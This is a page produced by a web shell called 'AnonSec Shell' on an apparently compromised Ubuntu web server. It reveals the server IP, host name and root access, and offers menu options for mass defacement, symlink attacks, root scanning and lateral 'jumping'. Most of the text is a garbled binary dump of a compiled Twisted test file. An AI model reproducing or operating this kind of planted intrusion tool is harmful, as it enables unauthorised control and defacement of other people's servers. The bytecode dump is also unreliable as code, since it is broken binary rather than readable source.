AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/test_defer_await.cpython-310.pyc
o

�br�@spdZddlZddlmZmZmZmZmZddlm	Z	ddl
mZddlm
Z
Gdd�de�ZGd	d
�d
e
�ZdS)z*
Tests for C{await} support in Deferreds.
�N)�Deferred�ensureDeferred�fail�
maybeDeferred�succeed)�Clock)�Failure)�TestCasec@seZdZdZdS)�SampleExceptionz2
    A specific sample exception for testing.
    N)�__name__�
__module__�__qualname__�__doc__�rr�H/usr/lib/python3/dist-packages/twisted/internet/test/test_defer_await.pyr
sr
c@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�
AwaitTestsz@
    Tests for using Deferreds in conjunction with PEP-492.
    cCs"t�}|��}|�|t|��dS)z<
        C{Deferred.__await__} returns an iterable.
        N)r�	__await__�assertEqual�iter)�self�d�awaitedDeferredrrr�test_awaitReturnsIterable"sz$AwaitTests.test_awaitReturnsIterablecsX�fdd�}dd��|�}|�|tj�t�|�}|�|t�|�|�}|�|d�dS)zU
        L{Deferred.fromCoroutine} will turn a coroutine into a L{Deferred}.
        c�s$�td�}|IdH��IdH}|S)N�bar�r�r�res��run2rr�run/s
�
z2AwaitTests.test_deferredFromCoroutine.<locals>.runc���td�}|IdH}|S�N�foorrrrrr5��
z3AwaitTests.test_deferredFromCoroutine.<locals>.run2r"N)�assertIsInstance�types�
CoroutineTyper�
fromCoroutine�successResultOfr)rr�rrrrrr�test_deferredFromCoroutine*s

z%AwaitTests.test_deferredFromCoroutinecCs.dd�}t�|��}|�|�}|�|d�dS)zc
        L{Deferred.fromCoroutine} allows a function to C{await} on a
        L{Deferred}.
        c�r r!rrrrrrLr#z"AwaitTests.test_basic.<locals>.runr"N)rr'r(r�rrrrrrr�
test_basicFs
zAwaitTests.test_basiccCs,dd�}t|��}|�|�}|�|d�dS)zS
        L{ensureDeferred} allows a function to C{await} on a L{Deferred}.
        c�r r!rrrrrrZr#z0AwaitTests.test_basicEnsureDeferred.<locals>.runr"N)rr(rr+rrr�test_basicEnsureDeferredUs

z#AwaitTests.test_basicEnsureDeferredcCsDdd�}t�|��}|�|�}|�t|j�t�|�|jjd�dS)z�
        An exception in a coroutine scheduled with L{Deferred.fromCoroutine}
        will cause the returned L{Deferred} to fire with a failure.
        c�s�td�}|IdHtd��)Nr"�Oh no!)r�
ValueError�rrrrris�
z&AwaitTests.test_exception.<locals>.run)r.N)rr'�failureResultOfr�type�valuer/�argsr+rrr�test_exceptioncs

zAwaitTests.test_exceptioncsRdd�}t|���fdd�}|�t�|���}|�d|���|�d|���dS)z�
        When a Deferred is awaited upon that has already failed with a Failure
        that has a traceback, both the place that the synchronous traceback
        comes from and the awaiting line are shown in the traceback.
        cSst���N)r
rrrr�raiseszszCAwaitTests.test_synchronousDeferredFailureTraceback.<locals>.raisesc����IdHSr6rr��itrr�doomed��
zCAwaitTests.test_synchronousDeferredFailureTraceback.<locals>.doomed�, in doomed
z, in raises
N)rr1rr'�assertIn�getTraceback)rr7r;�failurerr9r�(test_synchronousDeferredFailureTracebackssz3AwaitTests.test_synchronousDeferredFailureTracebackcsjdd�}t���fdd�}t�|��}|�|���|��|�|�}|�d|���|�d|���dS)z�
        When a Deferred is awaited upon that later fails with a Failure that
        has a traceback, both the place that the synchronous traceback comes
        from and the awaiting line are shown in the traceback.
        cSs zt��tyt�YSwr6)r
rrrrr�returnsFailure�s

�zEAwaitTests.test_asyncDeferredFailureTraceback.<locals>.returnsFailurec�r8r6rrr9rrr;�r<z=AwaitTests.test_asyncDeferredFailureTraceback.<locals>.doomedr=z, in returnsFailure
N)rr'�assertNoResult�errbackr1r>r?)rrBr;�startedr@rr9r�"test_asyncDeferredFailureTraceback�s

z-AwaitTests.test_asyncDeferredFailureTracebackcs�t��g���fdd�����fdd�}t�|��}��d�|��ddg���d�|��gd	����d�|��gd	����d�|��gd
��|�|�}|�|d�dS)
z�
        A coroutine scheduled with L{Deferred.fromCoroutine} that awaits a
        L{Deferred} suspends its execution until the inner L{Deferred} fires.
        c�s:���d�t�}��d|jd�|IdH��d�dS)N����Yay!��appendr�	callLater�callbackr0)�reactor�sectionsrr�runone�s�


z'AwaitTests.test_twoDeep.<locals>.runonec�sP���d���IdH}��d�t�}��d|jd�|IdH��d�|S)NrH��rK)�resultr�rOrQrPrrr�s�



z$AwaitTests.test_twoDeep.<locals>.rung�������?rHrG皙�����?)rHrGrIrR)rHrGrIrRrSrJN)rrr'�advancerr(r+rrUr�test_twoDeep�s





zAwaitTests.test_twoDeepcs.�fdd�}��t�|���}��|d�dS)zO
        Awaiting an already failed Deferred will raise the exception.
        c
�sP�zttd��IdHWdSty'}z��|jd�WYd}~dSd}~ww)N�Boom)rYrHr)rr/rr4)�e�rrr�test�s����z%AwaitTests.test_reraise.<locals>.testrHN)r(rr'r)rr\rrr[r�test_reraise�szAwaitTests.test_reraisecsBt���fdd�}t�|��}��d�|�|�}|�|d�dS)zd
        Awaiting a paused & chained Deferred will give the result when it has
        one.
        c�sD�t�}t��|��fdd��|�d���d�jd�|IdHS)Ncs�Sr6r)�ignored��d2rr�<lambda>�sz7AwaitTests.test_chained.<locals>.test.<locals>.<lambda>r�bye)r�addCallbackrNrMr0�rOr_rr\�s�

z%AwaitTests.test_chained.<locals>.testrVrbN)rrr'rWr(r)rr\rrrrdr�test_chained�s	

zAwaitTests.test_chainedN)rrr
rrr*r,r-r5rArFrXr]rerrrrrs+r)rr%�twisted.internet.deferrrrrr�twisted.internet.taskr�twisted.python.failurer�twisted.trial.unittestr	�	Exceptionr
rrrrr�<module>s

Anon7 - 2022
AnonSec Team